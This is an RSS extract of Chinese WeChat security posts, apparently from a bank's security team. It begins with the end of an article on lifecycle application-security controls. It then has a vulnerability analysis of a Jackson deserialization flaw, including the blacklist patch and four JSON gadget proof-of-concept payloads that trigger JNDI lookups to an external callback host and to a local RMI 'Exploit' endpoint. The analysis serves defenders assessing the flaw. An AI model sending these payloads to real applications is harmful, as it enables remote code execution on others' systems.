href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483914&amp;idx=1&amp;sn=dc79efebcd760b4f50aa1ab296c55bbe&amp;chksm=cf345aebf843d3fdeaf6ef50192f48b76025d90ac830167edd0d70670ee3104108ae2162cf20&amp;scene=21#wechat_redirect" textvalue="《企业快速部署IAST/RASP能力的一种新思路》" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">《</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">企业快速部署IAST/RASP能力的一种新思路》</span></a><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">。</span><span style="color: rgb(56, 88, 254);"><em style="color: rgb(77, 168, 238);"><span style="color: rgb(56, 88, 254);font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">其中在被动扫描器+IAST的模式下，可以做到部分场景下越权漏洞的检测。（2次替换cookie发包，对比带入的sql语句）</span></em></span></section></li></ul></section><section data-role="list"><ul style="padding-left: 30px;" class="list-paddingleft-2"><li><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设解决增量及存量的组件安全依赖扫描能力，可参看之前文章<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484493&amp;idx=1&amp;sn=e21614999f4ab21eb91c599a8e38e796&amp;chksm=cf345cacf843d5baa145eb37036b1d81141d10b701cd6d8db3b705266ef93024b7140dc19e95&amp;scene=21#wechat_redirect" textvalue="《组件安全治理三步走实践》" data-itemshowtype="0" tab="innerlink" data-linktype="2">《通用组件安全治理三步走实践》</a>。</span></section></li></ul></section><section data-role="list"><ul style="padding-left: 30px;" class="list-paddingleft-2"><li><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在人工测试环节，对于重要应用的重要需求流转到人工测试环节，执行安全测试任务。</span></section></li></ul></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">还需要做到的是，在自动化检查工具中增加实时提醒的功能，通过跟接口平台联动，将检查内容与要求挂钩，将安全整改工作尽量左移，一旦检查出不符合要求的点，可以立即通知到相关责任人进行整改，在卡版前给出研发整改时间。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="93368"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;box-sizing: border-box;overflow: hidden;background-color: rgb(56, 88, 254);font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;font-family: Optima-Regular, PingFangTC-light;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;box-sizing: border-box;border-left:3px solid rgb(56, 88, 254);border-right:3px solid rgb(56, 88, 254);background-color:#ffffff;border-top-color:rgb(56, 88, 254);border-bottom-color:rgb(56, 88, 254);color:rgb(56, 88, 254);" data-brushtype="text"><span style="font-size: 14px;">管控阶段</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">通过检查过程中发现的问题，将检查结果数据跟各纬度的SR/SST/版本对应起来，存入安全运营平台中，这样就形成了版本—风险值的维度，初期我们定义一些简单的卡版规则，<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">对不符合要求的版本卡发布，</span>例如中高危漏洞不可发版，没有接入SSO不允许发版等。在持续建设后期可以根据各类安全规则给出版本的安全评分及安全检查报告，执行更精细的版本安全管控。</span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.9621212121212122" data-s="300,640" style="" data-type="png" data-w="1056" src="https://wechat2rss.xlab.app/img-proxy/?k=663be444&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9AbZQB64lMKIvqZ4WB6dVwffL0dkbAXOic5b1iboXntMjv9Xdmib7uSCUg%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">此外我们还需要一个基础应用安全元数据系统（通过同步运维、架构的全部应用基础数据），可以将检查结果对应用打上各类安全标识，为长期的应用安全治理工作打好基础；结合安全运营平台，更便捷地对各类安全漏洞、安全整改项做闭环跟进处置。（这里要感谢运维及架构兄弟们的支持，企业安全的建设水平非常依赖于组织内部运维及架构上的建设水准，这就类似高速公路上跑的各类汽车，运维架构标准化覆盖率上去后安全的建设水到渠成。）</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="93368"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;box-sizing: border-box;overflow: hidden;background-color: rgb(56, 59, 234);font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;font-family: Optima-Regular, PingFangTC-light;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;box-sizing: border-box;border-left:3px solid rgb(56, 88, 254);border-right:3px solid rgb(56, 88, 254);background-color:#ffffff;border-top-color:rgb(56, 88, 254);border-bottom-color:rgb(56, 88, 254);color:rgb(56, 88, 254);" data-brushtype="text"><span style="font-size: 14px;">防护阶段</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">应用发布后，研发流程的工作就告一段落，我们就需要对线上潜在的攻击行为做预警响应处置。</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设基于流量的入侵检测能力，流量安全分析，我们熟知的XX眼、各类WAF的日常运营。</span></section></li><li><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设传统的HIDS，我们熟知的XX云等日常的安全运营。</span></section></li><li><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设基于堆栈的攻击告警（RASP），这里因为我们的实践思路是通过采集应用堆栈日志离线分析，所以只是做攻击行为告警，之后再进行人工处置（跟正统的RASP思维来说差距就是实时阻断的能力，对传统金融行业的业务系统来说，实时阻断还是有些压力的，我们的方案只做堆栈埋点，在日志消费速率足够的情况下，做到实时攻击行为告警，之后人工处置。对这部分如感兴趣，<span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可参看之前文章</span><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483914&amp;idx=1&amp;sn=dc79efebcd760b4f50aa1ab296c55bbe&amp;chksm=cf345aebf843d3fdeaf6ef50192f48b76025d90ac830167edd0d70670ee3104108ae2162cf20&amp;scene=21#wechat_redirect" textvalue="《企业快速部署IAST/RASP能力的一种新思路》" data-itemshowtype="0" tab="innerlink" style="font-family: Optima-Regular, PingFangTC-light;white-space: normal;" data-linktype="2"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">《</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">企业快速部署IAST/RASP能力的一种新思路》</span></a><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;"></span>。）</span></section></li><li><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设新增资产监控及常态安全巡检，掌控全部的应用资产，确保不会遗漏安全死角，新增应用及映射定时通知安全运营人员，确保得到把控。</span></section></li></ul><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.27175843694493784" data-s="300,640" style="" data-type="png" data-w="1126" src="https://wechat2rss.xlab.app/img-proxy/?k=37ce67ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9mFrUBwPicmgdrUCzKP61bDrfT4wSeyqLEicCpUl3RWiarQsV5SiaOWYrFA%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><section style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设最新的通用型安全漏洞预警，面对新出的安全漏洞时及时的分析对公司资产的影响程度。</span></section></li></ul><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="97617"><section style="margin: 10px auto;text-align: left;font-family: Optima-Regular, PingFangTC-light;"><section style="display:inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9iaOyVQ1RAQE5LSLOTylAMxEDHpdgtDBjuVOCuvast0KrS59bg9l5Picw/640?wx_fmt=gif&#34;);background-attachment: initial;background-origin: initial;background-clip: initial;background-repeat: no-repeat;background-size: 4px;background-position: left center;padding-left: 4px;"><section data-brushtype="text" style="background-color: rgb(244, 246, 255);letter-spacing: 1.5px;font-size: 16px;padding: 5px 1em;font-weight: bold;box-sizing: border-box;color: #3858fe;" hm_fix="338:325"><span style="font-size: 15px;">总结</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">到此为止，我们从SDLC的思维模式逐步转变为全生命周期的广义应用安全管控体系。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">建设这个体系后，带给我们几个提升：</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">1、 提升了安全工作的覆盖面及安全运营效率，从针对重要应用的安全运营工作转变为对全部应用的体系化安全管控，无论是外部还是内部应用皆在安全运营范围内。</span><span style="font-size: 14px;caret-color: red;font-family: Helvetica, Arial, sans-serif;"></span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">2、 安全管控线上化标准化，在与测试及发布工具联动后，从依赖“人工版本把控”转变为依靠“系统判断”进行版本安全的管控。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">3、 从传统应用安全管控的角度转变为广义安全管控的角度，只要涉及研发流程，皆可通过这个模式来实现“要求—检查—管控”的整改落地（也可解决安全以外的研发整改问题），各类研发的整改皆可通过各类检查 + 跟进闭环 + 版本管控 来实现“<strong>消化存量、管控增量</strong>”的目的，这个是非常重要的。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">4、 体系化提升，通过检查阶段的结果，反溯研发过程，给出各部门排名，从管理手段上提升研发同事的安全能力，安全更加可控。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">5、 不再仅限于发布前的应用安全管控，而是贯穿了应用全生命周期的安全管控体系。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">等等，很香。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">对一个大型的IT组织来说，在后续的运营过程中，我们还需要不断拓展我们的覆盖面，以及不断优化我们的检测深度，还有很多的路要走。</span></section></section><section data-role="paragraph"><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><em data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-style="font-weight: 700; letter-spacing: 0.544px; text-align: start; white-space: pre-line; background-color: rgb(255, 255, 255); color: rgb(74, 74, 74); font-family: Optima-Regular, PingFangTC-light; font-size: 15px; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" style="max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);letter-spacing: 0.544px;font-weight: 700;text-align: start;white-space: pre-line;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-bgcolor-15988388917266="rgb(25, 25, 25)" data-darkmode-original-bgcolor-15988388917266="rgb(255, 255, 255)" data-darkmode-color-15988388917266="rgb(156, 156, 156)" data-darkmode-original-color-15988388917266="rgb(74, 74, 74)" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(156, 156, 156)" data-darkmode-original-color="rgb(74, 74, 74)" style="max-width: 100%;font-family: 等线;font-size: 12px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></em></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="width:30%;height:auto;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/></section>



<p><a href="2247484590">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=098912ad&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484590%26idx%3D1%26sn%3D1e746a320fa2bfea0ecf124b6125cc90%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 01 Sep 2020 11:37:00 +0800</pubDate>
    </item>
    <item>
      <title>Jackson反序列化漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484507&amp;idx=1&amp;sn=45a81007a5ed8504907351a020d42234</link>
      <description>今天又看到有一些安全预警平台爆出的Jackson反序列漏洞，要求把Jackson升级到2.9.10.6，所以在下面对漏洞原理和适用范围做一下分析，并给出poc。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Glassy</span> <span>2020-08-27 17:42</span> <span style="display: inline-block;"></span>
</p>

<p>今天又看到有一些安全预警平台爆出的Jackson反序列漏洞，要求把Jackson升级到2.9.10.6，所以在下面对漏洞原理和适用范围做一下分析，并给出poc。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bd19bb32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYrvtb5yBkKvObbKU7LH9ts0P7BIvahZEn9ZUFaVp9se0N3dhg4x8R4IA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><p><em style="font-weight: 700;letter-spacing: 0.544px;text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><span style="font-family: 等线;font-size: 12px;">Author：平安银行应用安全团队@Glassy</span></em><br/></p><p><em style="font-weight: 700;letter-spacing: 0.544px;text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><span style="font-family: 等线;font-size: 12px;"><br/></span></em></p><p><strong><span style="font-size: 17px;">引言</span></strong></p><p><span style="font-size: 14px;">今天又看到有一些安全预警平台爆出的Jackson反序列漏洞，要求把Jackson升级到2.9.10.6，所以在下面对漏洞原理和适用范围做一下分析，并给出poc。</span></p><p><span style="font-size: 14px;"><br/></span></p><section style="margin-bottom: 10px;"><strong><span style="font-size: 16px;">补丁分析</span></strong></section><section style="margin-bottom: 10px;"><span style="font-size: 14px;">补丁特别简单，也如同漏洞公告一样，增加了几处黑名单。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.20973782771535582" data-s="300,640" style="" data-type="jpeg" data-w="1068" src="https://wechat2rss.xlab.app/img-proxy/?k=8e4185ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYrA1xSC77V1wibpoFpHrpaiaibyHzIGdicrXNgQ2WYUFGJusud5jfGAia0ucQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;"></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.15980230642504117" data-s="300,640" style="" data-type="jpeg" data-w="1214" src="https://wechat2rss.xlab.app/img-proxy/?k=5f72e999&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYrB7jZqHia8ibtClKict2LvGn0UykE2PkxHd9wWBgkHicGL4uCTFOfzgYGDA%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="font-size: 14px;"></span></p><p style="margin-bottom: 5px;"><span style="font-size: 16px;"><strong>POC构造</strong></span></p><p><span style="color: rgb(77, 168, 238);"><em><span style="color: rgb(77, 168, 238);font-size: 14px;">br.com.anteros.dbcp.AnterosDBCPDataSource</span></em></span></p><p><span style="font-size: 14px;">先看一下该jar包的maven引用次数</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.39296875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=70584525&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYrnf2kFlzvI83UGvpgGoYvDKyePOqp0aH5ibfZ6cJLQRXCSpnxwpXEdYA%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">再构造poc（原理简单，不做细节描述）</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[<span class="code-snippet__string">&#34;br.com.anteros.dbcp.AnterosDBCPDataSource&#34;</span>, </span></code><code><span class="code-snippet_outer">{<span class="code-snippet__attr">&#34;metricRegistry&#34;</span>:<span class="code-snippet__string">&#34;ldap://ytcrpi.ceye.io:1399/test&#34;</span>}]</span></code></pre></section><p style="margin-top: 10px;"><br/></p><p style="margin-top: 10px;"><span style="color: rgb(77, 168, 238);"><em><span style="color: rgb(77, 168, 238);font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">com.pastdev.httpcomponents.configuration.JndiConfiguration</span></em></span><br/></p><p><span style="font-size: 14px;">先看一下该jar包的maven引用次数</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.446875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=19f2cbe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYrxapDR5kMdfE86Nvdecj4ptaoib1AoVqDYXCYsnpRficj9pOoKwP4wicnQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">再构造poc</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[<span class="code-snippet__string">&#34;com.pastdev.httpcomponents.configuration.JndiConfiguration&#34;</span>,</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__string">&#34;ldap://gggg.ytcrpi.ceye.io:1399/test&#34;</span>]</span></code></pre></section><section style="margin-bottom: 10px;"><br/></section><section style="margin-bottom: 10px;"><span style="color: rgb(77, 168, 238);"><em><span style="color: rgb(77, 168, 238);font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">com.nqadmin.rowset.JdbcRowSetImpl</span></em></span><br/></section><p><span style="font-size: 14px;">先看一下该jar包的maven引用次数</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.33515625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=977c9b66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYricSdQkGeapEKNPloLBIick2YCBvicpNChuBbLFC8ElsS6AV2pX2AHMWiaA%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;">再构造poc</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[<span class="code-snippet__string">&#34;com.nqadmin.rowset.JdbcRowSetImpl&#34;</span>,{<span class="code-snippet__attr">&#34;dataSourceName&#34;</span>:<span class="code-snippet__string">&#34;rmi://localhost:1099/Exploit&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;autoCommit&#34;</span>:<span class="code-snippet__literal">true</span>}]</span></code></pre></section><p><br/></p><p><em><span style="font-size: 14px;color: rgb(77, 168, 238);">org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl</span></em></p><p><span style="font-size: 14px;">先看一下该jar包的maven引用次数</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6265625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=221b1c82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6A8sANz75Bm8scurfRrvYrB6YZ64J2poXtxvCzZofqTdO16XSeMkm6Aujia2aWic9w5egcGquCxCXA%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;">再构造poc</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">[<span class="code-snippet__string">&#34;org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl&#34;</span>,</span></code><code><span class="code-snippet_outer">{<span class="code-snippet__attr">&#34;dataSourceName&#34;</span>:<span class="code-snippet__string">&#34;rmi://localhost:1099/Exploit&#34;</span>,<span class="code-snippet__attr">&#34;autoCommit&#34;</span>:<span class="code-snippet__literal">true</span>}]</span></code></pre></section><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 14px;">注意:这一条poc实际上是不可用的，其原因在于该类中因为存在重名函数导致的jackson在反序列化的时候会报同名函数冲突。这是一个原理层面可用，实际不可用的poc。</span></strong><br/></p><p><span style="font-size: 14px;"></span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;"><strong>总结</strong></span></p><p><span style="font-size: 14px;">1. 利用成功需要enableDefaultTyping；</span></p><p><span style="font-size: 14px;">2. Gadget的jar极其罕见。</span></p><p><span style="font-size: 